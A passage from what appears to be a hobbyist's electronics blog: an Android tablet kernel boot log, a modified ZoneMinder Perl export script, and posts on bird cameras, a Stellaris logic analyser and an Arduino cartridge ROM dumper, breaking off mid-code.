[    2.000000] i2c: novatek-ts_ctp_twi_addr is 1, 0x1. 
[    2.000000] i2c: novatek-ts_ctp3_twi_id is 2. 
[    2.010000] ================novatek-ts==============, twi_id = 2, status = 0 
[    2.020000] ctp4_used == 1. 
[    2.020000] i2c_info_ctp4[0].type is: ssd253x, name is ssd253x. 
[    2.030000] i2c: ssd253x_ctp4_twi_addr is 75, 0x4b. 
[    2.030000] i2c: ssd253x_ctp4_twi_id is 2. 
[    2.040000] ================ssd253x==============, twi_id = 2, status = 0 
[    2.040000] bus num = 0, twi used = 1 
[    2.050000] bus num = 1, twi used = 1 
[    2.050000] bus num = 2, twi used = 1 
[    2.060000] config i2c gpio with gpio_config api 
[    2.060000] twi0, apb clock = 24000000 
[    2.070000] _twi_set_clk: clk_n = 0, clk_m = 5
[    2.070000] axp_mfd 0-0034: AXP (CHIP ID: 0x21) detected
[    2.080000] [AXP]axp driver uning configuration failed(322)
[    2.090000] [AXP]power_start = 0
[    2.090000] I2C: i2c-0: AW16XX I2C adapter
[    2.090000] **********start************
[    2.100000] 0x40 
[    2.100000] 0xf8 
[    2.100000] 0x28 
[    2.100000] 0x0 
[    2.110000] 0x0 
[    2.110000] **********end************
[    2.110000] twi1, apb clock = 24000000 
[    2.120000] _twi_set_clk: clk_n = 0, clk_m = 11
[    2.120000] I2C: i2c-1: AW16XX I2C adapter
[    2.130000] **********start************
[    2.130000] 0x40 
[    2.130000] 0xf8 
[    2.140000] 0x58 
[    2.140000] 0x0 
[    2.140000] 0x0 
[    2.140000] **********end************
[    2.150000] twi2, apb clock = 24000000 
[    2.150000] _twi_set_clk: clk_n = 0, clk_m = 11
[    2.160000] I2C: i2c-2: AW16XX I2C adapter
[    2.160000] **********start************
[    2.160000] 0x40 
[    2.170000] 0xf8 
[    2.170000] 0x58 
[    2.170000] 0x0 
[    2.170000] 0x0 
[    2.170000] **********end************
[    2.180000] lirc_dev: IR Remote Control driver registered, major 250 
[    2.190000] IR NEC protocol handler initialized
[    2.190000] IR RC5(x) protocol handler initialized
[    2.200000] IR RC6 protocol handler initialized
[    2.200000] IR JVC protocol handler initialized
[    2.210000] IR Sony protocol handler initialized
[    2.210000] IR LIRC bridge handler initialized
[    2.220000] Linux video capture interface: v2.00
[    2.220000] usbcore: registered new interface driver em28xx
[    2.230000] em28xx driver loaded
[    2.230000] Em28xx: Initialized (Em28xx Audio Extension) extension
[    2.240000] cx231xx v4l2 driver loaded.
[    2.240000] usbcore: registered new interface driver cx231xx
[    2.250000] cx231xx: Cx231xx Audio Extension initialized
[    2.260000] usbcore: registered new interface driver usbvision
[    2.260000] USBVision USB Video Device Driver for Linux : 0.9.10
[    2.270000] usbcore: registered new interface driver pvrusb2
[    2.280000] pvrusb2: V4L in-tree version:Hauppauge WinTV-PVR-USB2 MPEG2 Encoder/Tuner
[    2.280000] pvrusb2: Debug mask is 31 (0x1f)
[    2.290000] SE401 usb camera driver version 0.24 registering
[    2.300000] usbcore: registered new interface driver se401
[    2.300000] usbcore: registered new interface driver zr364xx
[    2.310000] zr364xx: Zoran 364xx
[    2.310000] usbcore: registered new interface driver stkwebcam
[    2.320000] sn9c102: V4L2 driver for SN9C1xx PC Camera Controllers v1:1.47pre49
[    2.330000] usbcore: registered new interface driver sn9c102
[    2.330000] et61x251: V4L2 driver for ET61X[12]51 PC Camera Controllers v1:1.09
[    2.340000] usbcore: registered new interface driver et61x251
[    2.350000] pwc: Philips webcam module version 10.0.13 loaded.
[    2.350000] pwc: Supports Philips PCA645/646, PCVC675/680/690, PCVC720[40]/730/740/750 & PCVC830/840.
[    2.360000] pwc: Also supports the Askey VC010, various Logitech Quickcams, Samsung MPC-C10 and MPC-C30,
[    2.370000] pwc: the Creative WebCam 5 & Pro Ex, SOTEC Afina Eye and Visionite VCS-UC300 and VCS-UM100.
[    2.380000] pwc: Trace options: 0x0001
[    2.390000] usbcore: registered new interface driver Philips webcam
[    2.400000] gspca: main v2.10.0 registered
[    2.400000] usbcore: registered new interface driver hdpvr
[    2.410000] usbcore: registered new interface driver ibmcam
[    2.410000] usbcore: registered new interface driver ultracam
[    2.420000] konicawc: v1.4:Konica Webcam driver
[    2.420000] usbcore: registered new interface driver konicawc
[    2.430000] usbcore: registered new interface driver vicam
[    2.440000] usbcore: registered new interface driver s2255
[    2.440000] usbcore: registered new interface driver uvcvideo
[    2.450000] USB Video Class driver (v0.1.0)
[    2.450000] [cedar dev]: install start!!!
[    2.460000] [cedar dev]: install end!!!
[    2.460000] [ace_drv] init end!!!
[    2.470000] [pa_drv] start!!!
[    2.470000] [pa_drv] init end!!!
[    2.480000] regulator: axp20_ldo1: 1300 mV 
[    2.480000] regulator: axp20_ldo2: 1800 <--> 3300 mV at 3000 mV 
[    2.490000] regulator: axp20_ldo3: 700 <--> 3500 mV at 2800 mV 
[    2.500000] regulator: axp20_ldo4: 1250 <--> 3300 mV at 2800 mV 
[    2.500000] regulator: axp20_buck2: 700 <--> 2275 mV at 1400 mV 
[    2.510000] regulator: axp20_buck3: 700 <--> 3500 mV at 1250 mV 
[    2.520000] regulator: axp20_ldoio0: 1800 <--> 3300 mV at 2800 mV 
[    2.530000] input: axp20-supplyer as /devices/platform/aw16xx-i2c.0/i2c-0/0-0034/axp20-supplyer.28/input/input0
[    2.540000] [AXP]axp driver uning configuration failed(1580)
[    2.550000] [AXP]pmu_suspendpwroff_vol = 3500
[    2.560000] device-mapper: uevent: version 1.0.3
[    2.570000] device-mapper: ioctl: 4.18.0-ioctl (2010-06-29) initialised: dm-devel@redhat.com
[    2.580000] device-mapper: multipath: version 1.1.1 loaded
[    2.580000] device-mapper: multipath round-robin: version 1.0.0 loaded
[    2.590000] Bluetooth: HCI UART driver ver 2.2
[    2.600000] Bluetooth: HCI H4 protocol initialized
[    2.600000] Bluetooth: HCI BCSP protocol initialized
[    2.610000] Bluetooth: HCILL protocol initialized
[    2.610000] [mmc_pm]: no sdio card used in configuration
[    2.620000] [mmc]: awsmc_init
[    2.620000] [mmc]: awsmc controller unsing config sdc0 1, sdc1 1, sdc2 0, sdc3 1
[    2.630000] [mmc]: awsmc.0: pdev->name: awsmc, pdev->id: 00000000
[    2.640000] [mmc]: smc 0, source = sdram_pll_p, src_clk = 408000000, mclk 40800000, 
[    2.650000] [mmc]: MMC Driver init host 0
[    2.650000] [mmc]: sdc 0 idma des address d9a98000
[    2.660000] [mmc]: mmc 0 suspend pins
[    2.660000] [mmc]: awsmc.0: Initialisation Done. ret 0
[    2.670000] [mmc]: awsmc.1: pdev->name: awsmc, pdev->id: 00000001
[    2.670000] [mmc]: smc 1, source = sdram_pll_p, src_clk = 408000000, mclk 40800000, 
[    2.680000] [mmc]: MMC Driver init host 1
[    2.690000] [mmc]: sdc 1 idma des address d9a9c000
[    2.690000] [mmc]: mmc 1 suspend pins
[    2.700000] [mmc]: awsmc.1: Initialisation Done. ret 0
[    2.700000] [mmc]: awsmc.3: pdev->name: awsmc, pdev->id: 00000003
[    2.710000] [mmc]: smc 3, source = sdram_pll_p, src_clk = 408000000, mclk 81600000, 
[    2.720000] [mmc]: MMC Driver init host 3
[    2.720000] [mmc]: sdc 3 idma des address d9aa0000
[    2.730000] [mmc]: mmc 3 suspend pins
[    2.730000] [mmc]: awsmc.3: Initialisation Done. ret 0
[    2.740000] usbcore: registered new interface driver usbhid
[    2.740000] usbhid: USB HID core driver
[    2.750000] logger: created 64K log 'log_main'
[    2.750000] logger: created 256K log 'log_events'
[    2.760000] logger: created 64K log 'log_radio'
[    2.760000] logger: created 64K log 'log_system'
[    2.770000] enter sun4i Audio codec!!!
[    2.770000] sun4i audio support initialized
[    2.780000] baseaddr = dc84ac00
[    2.780000] audiocodec_adap_awxx_init: script_parser_fetch err. 
[    2.790000] sun4i Audio codec successfully loaded..
[    2.790000] No device for DAI sun4i-hdmiaudio
[    2.800000] No device for DAI SNDHDMI
[    2.800000] asoc: SNDHDMI <-> sun4i-hdmiaudio mapping ok
[    2.810000] [SPDIF]sun4i-spdif cannot find any using configuration for controllers, return directly!
[    2.820000] [SPDIF]sndspdif cannot find any using configuration for controllers, return directly!
[    2.830000] [SPDIF]sun4i_sndspdif cannot find any using configuration for controllers, return directly!
[    2.840000] usbcore: registered new interface driver snd-usb-audio
[    2.850000] usbcore: registered new interface driver snd-ua101
[    2.850000] usbcore: registered new interface driver snd-usb-caiaq
[    2.860000] ALSA device list:
[    2.870000]   #0: sun4i-CODEC  Audio Codec
[    2.870000]   #1: SUN4I_SNDHDMI (SNDHDMI)
[    2.870000] nf_conntrack version 0.5.0 (5018 buckets, 20072 max)
[    2.880000] IPv4 over IPv4 tunneling driver
[    2.890000] GRE over IPv4 tunneling driver
[    2.890000] ip_tables: (C) 2000-2006 Netfilter Core Team
[    2.900000] TCP cubic registered
[    2.900000] NET: Registered protocol family 10
[    2.910000] IPv6 over IPv4 tunneling driver
[    2.910000] NET: Registered protocol family 17
[    2.920000] NET: Registered protocol family 15
[    2.920000] Bluetooth: L2CAP ver 2.15
[    2.930000] Bluetooth: L2CAP socket layer initialized
[    2.930000] Bluetooth: SCO (Voice Link) ver 0.6
[    2.940000] Bluetooth: SCO socket layer initialized
[    2.940000] Bluetooth: RFCOMM TTY layer initialized
[    2.950000] Bluetooth: RFCOMM socket layer initialized
[    2.950000] Bluetooth: RFCOMM ver 1.11
[    2.960000] Bluetooth: BNEP (Ethernet Emulation) ver 1.3
[    2.960000] Bluetooth: BNEP filters: protocol multicast
[    2.970000] Bluetooth: HIDP (Human Interface Emulation) ver 1.2
[    2.980000] L2TP core driver, V2.0
[    2.980000] PPPoL2TP kernel driver, V2.0
[    2.980000] lib80211: common routines for IEEE802.11 drivers
[    2.990000] lib80211_crypt: registered algorithm 'NULL'
[    3.000000] [mmc_pm]: No sdio card, please check your config !!
[    3.000000] VFP support v0.3: implementor 41 architecture 3 part 30 variant c rev 3
[    3.010000] regulator_init_complete: incomplete constraints, leaving axp20_buck3 on
[    3.020000] regulator_init_complete: incomplete constraints, leaving axp20_buck2 on
[    3.030000] regulator_init_complete: incomplete constraints, leaving axp20_ldo4 on
[    3.040000] regulator_init_complete: incomplete constraints, leaving axp20_ldo3 on
[    3.050000] regulator_init_complete: incomplete constraints, leaving axp20_ldo2 on
[    3.060000] sun4i-rtc sun4i-rtc: f23_rtc_gettime
[    3.060000] sun4i-rtc sun4i-rtc: read time 2010-1-1 0:1:46
[    3.070000] sun4i-rtc sun4i-rtc: setting system clock to 2010-01-01 00:01:46 UTC (1262304106)
[    3.110000] EXT3-fs (nandb): error: couldn't mount because of unsupported optional features (240)
[    3.120000] EXT2-fs (nandb): error: couldn't mount because of unsupported optional features (244)
[    3.140000] EXT4-fs (nandb): warning: maximal mount count reached, running e2fsck is recommended
[    3.150000] EXT4-fs (nandb): recovery complete
[    3.160000] EXT4-fs (nandb): mounted filesystem with ordered data mode. Opts: (null)
[    3.160000] VFS: Mounted root (ext4 filesystem) on device 93:8.
[    3.170000] devtmpfs: mounted
[    3.170000] Freeing init memory: 156K
[    3.470000] [LCD] lcd_module_init
[    4.160000] init: width = 800
[    4.160000] init: height = 480
[    4.160000] init: s.st_size = 1536000
[    4.260000] init:  do_mount 
[    4.270000] init:  do_mount 
[    4.270000] init:  do_mount 
[    4.270000] init:  do_mount 
[    4.280000] init:  do_mount 
[    4.280000] init:  do_mount 
[    4.290000] EXT4-fs (nandc): barriers disabled
[    4.310000] EXT4-fs (nandc): warning: maximal mount count reached, running e2fsck is recommended
[    4.320000] EXT4-fs (nandc): recovery complete
[    4.330000] EXT4-fs (nandc): mounted filesystem with ordered data mode. Opts: barrier=0
[    4.330000] init:  do_mount 
[    4.350000] EXT4-fs (nandd): barriers disabled
[   12.910000] JBD2: Disabling barriers on nandb-8, not supported by device
[   12.920000] EXT4-fs (nandd): recovery complete
[   13.400000] EXT4-fs (nandd): mounted filesystem with ordered data mode. Opts: barrier=0
[   13.410000] init: do_umount: /data 
[   14.090000] EXT4-fs (nandd): barriers disabled
[   14.100000] EXT4-fs (nandd): mounted filesystem with ordered data mode. Opts: noauto_da_alloc,barrier=0
[   14.110000] init:  do_mount 
[   14.120000] EXT4-fs (nandg): barriers disabled
[   15.100000] EXT4-fs (nandg): recovery complete
[   15.110000] EXT4-fs (nandg): mounted filesystem with ordered data mode. Opts: barrier=0
[   15.110000] init:  do_mount 
[   15.120000] init: dont need format /dev/block/nandh
[   15.220000] init (1): /proc/1/oom_adj is deprecated, please use /proc/1/oom_score_adj instead.
[   15.230000] init: cannot find '/system/etc/install-recovery.sh', disabling 'flash_recovery'
[   15.760000] sun4i-ts.c: sun4i_ts_init: start ...
[   15.770000] rtp_used == 1. 
[   15.770000] sun4i-ts: tp_screen_size is 7 inch.
[   15.780000] sun4i-ts: tp_regidity_level is 5.
[   15.780000] sun4i-ts: tp_press_threshold_enable is 0.
[   15.790000] sun4i-ts: rtp_sensitive_level is 15.
[   15.790000] sun4i-ts: rtp_exchange_x_y_flag is 0.
[   15.800000] sun4i-ts.c: sun4i_ts_probe: start...
[   15.800000] begin get platform resourec
[   15.810000] input: sun4i-ts as /devices/platform/sun4i-ts/input/input1
[   15.820000] tp init
[   15.820000] sun4i-ts.c: sun4i_ts_probe: end
[   15.820000] ==register_early_suspend =
[   15.860000] input: sun4i-keyboard as /devices/virtual/input/input2
[   15.870000] ==register_early_suspend =
[   15.970000] UMP: UMP device driver  loaded
[   16.120000] mali: use config clk_div 3
[   16.130000] mali: clk_div 3
[   16.130000] Mali: mali clock set completed, clock is  320000000 Mhz
[   16.140000] mali: use config clk_div 3
[   16.140000] mali: clk_div 3
[   16.140000] Mali: mali clock set completed, clock is  320000000 Mhz
[   16.150000] Mali: Mali device driver  loaded
[   16.260000] [CSI]Welcome to CSI driver
[   16.270000] [CSI]registered sub device,input_num = 0
[   16.270000] [CSI]power on and power off camera!
[   16.320000] [CSI]V4L2 device registered as video0
[   16.340000] Bosch Sensortec Device detected!
[   16.340000] BMA250 registered I2C driver!
[   16.350000] input: bma250 as /devices/virtual/input/input3
[   16.460000] usbcore: registered new interface driver asix
[   16.510000] rtl8150: v0.6.2 (2004/08/27):rtl8150 based usb-ethernet driver
[   16.520000] usbcore: registered new interface driver rtl8150
[   16.570000] usbcore: registered new interface driver sr9700_android
[   16.620000] usbcore: registered new interface driver MOSCHIP usb-ethernet driver
[   16.650000] enabling adb
[   16.650000] adb_open
[   22.350000] warning: `zygote' uses 32-bit capabilities (legacy support in use)
[   65.800000] request_suspend_state: wakeup (3->0) at 65803651553 (2010-01-01 00:02:49.215197497 UTC)
[   65.990000] sw_usb_enable_hcd: usbc_num = 2
[   65.990000] [sw-ehci2]: sw_usb_enable_ehci
[   65.990000] [sw-ehci2]: probe, pdev->name: sw-ehci, pdev->id: 2, sw_ehci: 0xc07f3648
[   66.000000] [sw-ehci2]: open clock
[   66.030000] [sw-ehci2]: Set USB Power ON
[   66.040000] sw-ehci sw-ehci.2: SW USB2.0 'Enhanced' Host Controller (EHCI) Driver
[   66.050000] sw-ehci sw-ehci.2: new USB bus registered, assigned bus number 4
[   66.050000] sw-ehci sw-ehci.2: irq 40, io mem 0xf1c1c000
[   66.080000] sw-ehci sw-ehci.2: USB 0.0 started, EHCI 1.00
[   66.080000] ehci_irq: port change detect
[   66.090000] hub 4-0:1.0: USB hub found
[   66.100000] hub 4-0:1.0: 1 port detected
[   66.100000] [sw-ohci2]: sw_usb_enable_ohci
[   66.110000] [sw-ohci2]: probe, pdev->name: sw-ohci, pdev->id: 2, sw_ohci: 0xc07f3758
[   66.120000] [sw-ohci2]: open clock
[   66.140000] sw-ohci sw-ohci.2: SW USB2.0 'Open' Host Controller (OHCI) Driver
[   66.150000] sw-ohci sw-ohci.2: new USB bus registered, assigned bus number 5
[   66.160000] sw-ohci sw-ohci.2: irq 65, io mem 0xf1c1c400
[   66.220000] hub 5-0:1.0: USB hub found
[   66.220000] hub 5-0:1.0: 1 port detected
[   66.230000] 
[   66.230000] rtw driver version=v3.3.2_3192.20120103
[   66.240000] ##########rtw_suspend_lock_init ###########
[   66.250000] usbcore: registered new interface driver rtl8192cu
[   66.420000] usb 4-1: new high speed USB device using sw-ehci and address 2
[   66.570000] register rtw_netdev_ops to netdev_ops
[   66.570000] CHIP TYPE: RTL8188C_8192C
[   66.660000] 
[   66.660000] usb_endpoint_descriptor(0):
[   66.670000] bLength=7
[   66.670000] bDescriptorType=5
[   66.670000] bEndpointAddress=81
[   66.780000] wMaxPacketSize=200
[   66.790000] bInterval=0
[   66.790000] RT_usb_endpoint_is_bulk_in = 1
[   66.790000] 
[   66.790000] usb_endpoint_descriptor(1):
[   66.890000] bLength=7
[   66.890000] bDescriptorType=5
[   66.890000] bEndpointAddress=2
[   67.020000] wMaxPacketSize=200
[   67.020000] bInterval=0
[   67.020000] RT_usb_endpoint_is_bulk_out = 2
[   67.110000] 
[   67.110000] usb_endpoint_descriptor(2):
[   67.110000] bLength=7
[   67.200000] bDescriptorType=5
[   67.290000] bEndpointAddress=3
[   67.290000] wMaxPacketSize=200
[   67.290000] bInterval=0
[   67.390000] RT_usb_endpoint_is_bulk_out = 3
[   67.390000] 
[   67.390000] usb_endpoint_descriptor(3):
[   67.490000] bLength=7
[   67.490000] bDescriptorType=5
[   67.490000] bEndpointAddress=84
[   67.490000] wMaxPacketSize=40
[   67.600000] bInterval=1
[   67.600000] RT_usb_endpoint_is_int_in = 4, Interval = 1
[   67.740000] nr_endpoint=4, in_num=2, out_num=2
[   67.740000] 
[   67.740000] USB_SPEED_HIGH
[   67.750000] Chip Version ID: VERSION_NORMAL_TSMC_CHIP_88C.
[   67.750000] RF_Type is 3!!
[   67.760000] EEPROM type is E-FUSE
[   67.760000] ====> ReadAdapterInfo8192C
[   67.760000] Boot from EFUSE, Autoload OK !
[   68.100000] EEPROMVID = 0x0bda
[   68.100000] EEPROMPID = 0x8176
[   68.120000] EEPROMCustomerID : 0x00
[   68.120000] EEPROMSubCustomerID: 0x00
[   68.120000] RT_CustomerID: 0x00
  

The 'BOOT0' stuff is the initial hardware boot loader (more information here) which has a button test mode; I couldn't exit from this and had to cut the battery wires to be able to reset the device!

The mainboard is marked as "iNet-97F Rev 02" - more information here.

a10|uart|
zoneminder export to directory 31 Mar 2013

Slightly modified version of zmvideo.pl that comes with Zoneminder. It exports both an event's images/stills and the video to a user specified directory.

#!/usr/bin/perl -w
#!/usr/bin/perl -wT
#
# ==========================================================================
#
# ZoneMinder Video Creation Script, $Date: 2011-08-25 21:45:32 +0100 (Thu, 25 Aug 2011) $, $Revision: 3504 $
# Copyright (C) 2001-2008 Philip Coombes
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
#
# ==========================================================================
#
# This script is used to create MPEG videos of events for the web pages
# or as email attachments.
#
# Modified by lee@sodnpoo.com to output to directory
#
use strict;
use bytes;

# ==========================================================================
#
# You shouldn't need to change anything from here downwards
#
# ==========================================================================

# Include from system perl paths only
use ZoneMinder;
use DBI;
use Data::Dumper;
use POSIX qw(strftime);
use Getopt::Long qw(:config no_ignore_case );
use File::Copy

$| = 1;

$ENV{PATH}  = '/bin:/usr/bin';
$ENV{SHELL} = '/bin/sh' if exists $ENV{SHELL};
delete @ENV{qw(IFS CDPATH ENV BASH_ENV)};

logInit();

my $event_id;
my $format = 'mpg';
my $rate = '';
my $scale = '';
my $fps = '';
my $size = '';
my $overwrite = 0;
my $dest = '';

my @formats = split( /\s+/, ZM_FFMPEG_FORMATS );
for ( my $i = 0; $i < @formats; $i++ )
{
	if ( $i =~ /^(.+)\*$/ )
	{
		$format = $formats[$i] = $1;
	}
}

sub Usage
{
	print( "
Usage: zmvideo.pl -e <event_id>,--event=<event_id> --dest <directory> [--format <format>] [--rate=<rate>] [--scale=<scale>] 
  [--fps=<fps>] [--size=<size>] [--overwrite]
Parameters are :-
-e<event_id>, --event=<event_id>  - What event to create the video for
-f<format>, --format=<format>     - What format to create the video in, default is mpg. For ffmpeg only.
-r<rate>, --rate=<rate>           - Relative rate , 1 = realtime, 2 = double speed , 0.5 = half speed etc
-s<scale>, --scale=<scale>        - Scale, 1 = normal, 2 = double size, 0.5 = half size etc
-F<fps>, --fps=<fps>              - Absolute frame rate, in frames per second
-S<size>, --size=<size>           - Absolute video size, WxH or other specification supported by ffmpeg
-o, --overwrite                   - Whether to overwrite an existing file, off by default.
-d, --dest                        - Directory to export to
");
	exit( -1 );
}

if ( !GetOptions( 'event=i'=>\$event_id, 'format|f=s'=>\$format, 'rate|r=f'=>\$rate, 'scale|s=f'=>\$scale, 'fps|F=f'=>\$fps, 
  'size|S=s'=>\$size, 'overwrite'=>\$overwrite, 'dest|d=s'=>\$dest ) )
{
	Usage();
}

if ( !$event_id || $event_id < 0 )
{
	print( STDERR "Please give a valid event id\n" );
	Usage();
}

if ( !$dest  )
{
	print( STDERR "Please give a valid dest\n" );
	Usage();
}

if ( !ZM_OPT_FFMPEG )
{
	print( STDERR "Mpeg encoding is not currently enabled\n" );
	exit(-1);
}

if ( !$rate && !$fps )
{
	$rate = 1;
}

if ( !$scale && !$size )
{
	$scale = 1;
}

if ( $rate && ($rate < 0.25 || $rate > 100) )
{
	print( STDERR "Rate is out of range, 0.25 >= rate <= 100\n" );
	Usage();
}

if ( $scale && ($scale < 0.25 || $scale > 4) )
{
	print( STDERR "Scale is out of range, 0.25 >= scale <= 4\n" );
	Usage();
}

if ( $fps && ($fps > 30) )
{
	print( STDERR "FPS is out of range, <= 30\n" );
	Usage();
}

my ( $detaint_format ) = $format =~ /^(\w+)$/;
my ( $detaint_rate ) = $rate =~ /^(-?\d+(?:\.\d+)?)$/;
my ( $detaint_scale ) = $scale =~ /^(-?\d+(?:\.\d+)?)$/;
my ( $detaint_fps ) = $fps =~ /^(-?\d+(?:\.\d+)?)$/;
my ( $detaint_size ) = $size =~ /^(\w+)$/;

$format = $detaint_format;
$rate = $detaint_rate;
$scale = $detaint_scale;
$fps = $detaint_fps;
$size = $detaint_size;

my $dbh = zmDbConnect();

my @filters;
my $sql = "select max(F.Delta)-min(F.Delta) as FullLength, E.*, unix_timestamp(E.StartTime) as Time, E.StartTime as Timestamp, 
  M.Name as MonitorName, M.Width as MonitorWidth, M.Height as MonitorHeight, M.Palette from Frames as F inner join Events as E 
  on F.EventId = E.Id inner join Monitors as M on E.MonitorId = M.Id where EventId = '$event_id' group by F.EventId";
my $sth = $dbh->prepare_cached( $sql ) or Fatal( "Can't prepare '$sql': ".$dbh->errstr() );
my $res = $sth->execute() or Fatal( "Can't execute: ".$sth->errstr() );
my $event = $sth->fetchrow_hashref();
$sth->finish();
my $event_path = getEventPath( $event );
chdir( $event_path );
( my $video_name = $event->{Name} ) =~ s/\s/_/g; 
( my $monitor_name = $event->{MonitorName} ) =~ s/\s/_/g; 
( my $timestamp_name = $event->{Timestamp} ) =~ s/\s/_/g; 
$timestamp_name =~ s/:/-/g; 

my @file_parts;
if ( $rate )
{
	my $file_rate = $rate;
	$file_rate =~ s/\./_/;
	$file_rate =~ s/_00//;
	$file_rate =~ s/(_\d+)0+$/$1/;
	$file_rate = 'r'.$file_rate;
	push( @file_parts, $file_rate );
}
elsif ( $fps )
{
	my $file_fps = $fps;
	$file_fps =~ s/\./_/;
	$file_fps =~ s/_00//;
	$file_fps =~ s/(_\d+)0+$/$1/;
	$file_fps = 'R'.$file_fps;
	push( @file_parts, $file_fps );
}

if ( $scale )
{
	my $file_scale = $scale;
	$file_scale =~ s/\./_/;
	$file_scale =~ s/_00//;
	$file_scale =~ s/(_\d+)0+$/$1/;
	$file_scale = 's'.$file_scale;
	push( @file_parts, $file_scale );
}
elsif ( $size )
{
	my $file_size = 'S'.$size;
	push( @file_parts, $file_size );
}

my $base_file = "$event->{Id}-$monitor_name-$video_name-$timestamp_name";
#my $video_file = $base_file."-".$file_parts[0]."-".$file_parts[1].".$format";

my $basedir = "$dest/$base_file/";

my $video_file = $basedir."video-".$file_parts[0]."-".$file_parts[1].".$format";

print "basedir: $basedir\n";
mkdir($basedir);

print "event_path: $event_path\n";

print "video_file: $video_file\n";

for my $imgfile (glob "$event_path/*.jpg") {
  copy($imgfile,$basedir);
}

if ( $overwrite || !-s $video_file )
#if(0)
{
	Info( "Creating video file $video_file for event $event->{Id}\n" );

    my $frame_rate = sprintf( "%.2f", $event->{Frames}/$event->{FullLength} );
    if ( $rate )
    {
        if ( $rate != 1.0 )
        {
            $frame_rate *= $rate;
        }
    }
    elsif ( $fps )
    {
        $frame_rate = $fps;
    }

    my $width = $event->{MonitorWidth};
    my $height = $event->{MonitorHeight};
    my $video_size = " ${width}x${height}";

    if ( $scale )
    {
        if ( $scale != 1.0 )
        {
            $width = int($width*$scale);
            $height = int($height*$scale);
            $video_size = " ${width}x${height}";
        }
    }
    elsif ( $size )
    {
        $video_size = $size;
    }

    my $command = ZM_PATH_FFMPEG." -y -r $frame_rate ".ZM_FFMPEG_INPUT_OPTIONS." -i %0".ZM_EVENT_IMAGE_DIGITS."d-capture.jpg 
      -s $video_size ".ZM_FFMPEG_OUTPUT_OPTIONS." '$video_file' > ffmpeg.log 2>&1";
    print $command."\n" ;
    Debug( $command."\n" );
    Info( $command."\n" );
    my $output = qx($command);

    my $status = $? >> 8;
    if ( $status )
    {
        Error( "Unable to generate video, check ".$event_path."/ffmpeg.log for details" );
        exit( -1 );
    }
	
	Info( "Finished $video_file\n" );
}
else
{
	Info( "Video file $video_file already exists for event $event->{Id}\n" );
}
#print( STDOUT $event->{MonitorId}.'/'.$event->{Id}.'/'.$video_file."\n" );
print( STDOUT $video_file."\n" );
exit( 0 );
  
arduino with bmp085 gas pressure sensor 4 Mar 2013

Just a breadboard arduino and a bmp085 pressure sensor - nothing spectacular just connected via a level shifter to the I2C pins but it did work first time :)

And here's a screen grab of the output from the test code I found here.

arduino|weathoscope|
real time birdcam 3 Mar 2013

Live images taken from the cameras I recently installed watching our bird feeders. Jpegs are pulled via a cron'd script from the zoneminder server and dropped onto the public web server. A tiny bit of jquery updates the images in the browser - both run once a minute.

See here, here and here for more information. Live images can be found here.

birdcam|
guerrilla bird cam 17 Feb 2013

Very quick and dirty outdoor bird cam. Pin hole camera/transmitter and a 9v battery in freezer bag and some gaffer tape. Lets see how long the battery lasts.

Here's the image displayed on the bedroom TV.

Update: battery only lasted a couple of hours so I've run a cable carrying 8v from a wall wart in the shed.

birdcam|
variable sample rate stellaris logic analyser 10 Feb 2013

Yet more changes to the stellaris logic analyser (here, here and here). This version returns to using the internal RAM buffer but sampling is now SysTick interrupt driven.

This allows the sample rate to be variable so that a lower sample rate can be used to gain a longer capture time. Sample rates up to 2MHz seem usable, anything above that gave me incorrectly detected baud rates in ols's UART analyser.

Updated firmware, binary file and OLS-Profile: sllogiclogger.2013-02-10.tar.gz.

stellaris|
stellaris logic analyser moved to github 10 Feb 2013

Sample rates have been changed to more closely match bus pirate's; code has been pushed to github.

stellaris|github|
bufferless stellaris logic analyser 9 Feb 2013

Another modification to the stellaris logic analyser (here and here) code, this time removing the RAM buffer altogether and writing the data out to the UART immediately. The advantage of removing it that we can then do continuous capture - well we could if ols v0.9.6.1 supported it, so instead we capture 1MB as that's the most it'll will deal with. The downside is that the sample rate is limited by the speed of the UART and even with it set to 460800bps the sample rate is only 45.605kHz - at this rate we can capture 8 channels for 22.99 seconds.

To keep the capture loop as tight as possible it will continue to capture/send data even after ols has finished, to capture again you'll need to reset the stellaris. Don't forget to set the port speed to 460800bps in ols.

Reading though the docs - it looks like it might be possible to use DMA between the PORT and the UART on the stellaris to increase the sample rate; I'm also working on RLE encoding to pack more into the RAM buffer used on the previous code.

Updated firmware, binary file and OLS-Profile: sllogiclogger.2013-02-09.tar.gz.

stellaris|
longer buffer for stellaris logic analyser 3 Feb 2013

This is a trivial modification to Fischl.de's TI Stellaris Launchpad logic analyser. I've simply increased the buffer length from 16KB to 31KB increasing the capture length from 1.64ms to 3.17ms.

Updated firmware, binary file and OLS-Profile: sllogiclogger.2013-02-03.tar.gz

(More here, here and here.)

stellaris|
mega mega dumper 05 Aug 2012

Based on from the prototype mega mega reader I built a couple of weeks ago - I've rebuilt the hardware as something more permanent and made changes to the code to dump the full ROM image to the serial port.

I was expecting the serial communications to be pretty straight forward but after dumping the first cartridge I discovered that my file was too short. Looking a a hex dump of the file compared to the same ROM downloaded from the internet I could see I was missing any bytes with the value of 0x11. Turns out that 0x11 (and 0x13) are used for XON/XOFF flow control on the arduino's serial port and so these values were being silently eaten. I tried again this time disabling flow control and found that if I slowed the rate the arduino was sending data to a crawl, I could extract a perfect (and playable) ROM image.

To increase the dumping speed I went back to using XON/XOFF but encoded each byte as it's ascii representation - it's a bit wasteful as every byte is now two bytes long on the wire, but it was very quick and easy to implement and I can make use of other non-printable characters provide in-band signaling.

The code running on the arduino emits a start and end marker, before and after sending the ROM data. This makes it easier on the PC end to know when to start writing and when to exit.

//address pins (note - cartridge interface starts at A1 so A[0] == A1, A[1] == A2 etc)
int A[23] = {37,33,29,3,5,27,23,8,53,51,9,25,6,4,2,31,35,49,47,45,43,41,39};

//data pins
int D[16] = {38,44,30,24,26,32,42,36,40,34,28,22, 52,50,48,46};

void resetAddressBus(){
  for(byte i=0; i<23; i++){
    pinMode(A[i], OUTPUT);
    digitalWrite(A[i], LOW);
  }
}

void writeAddress(long addr){
  long mask = 1;
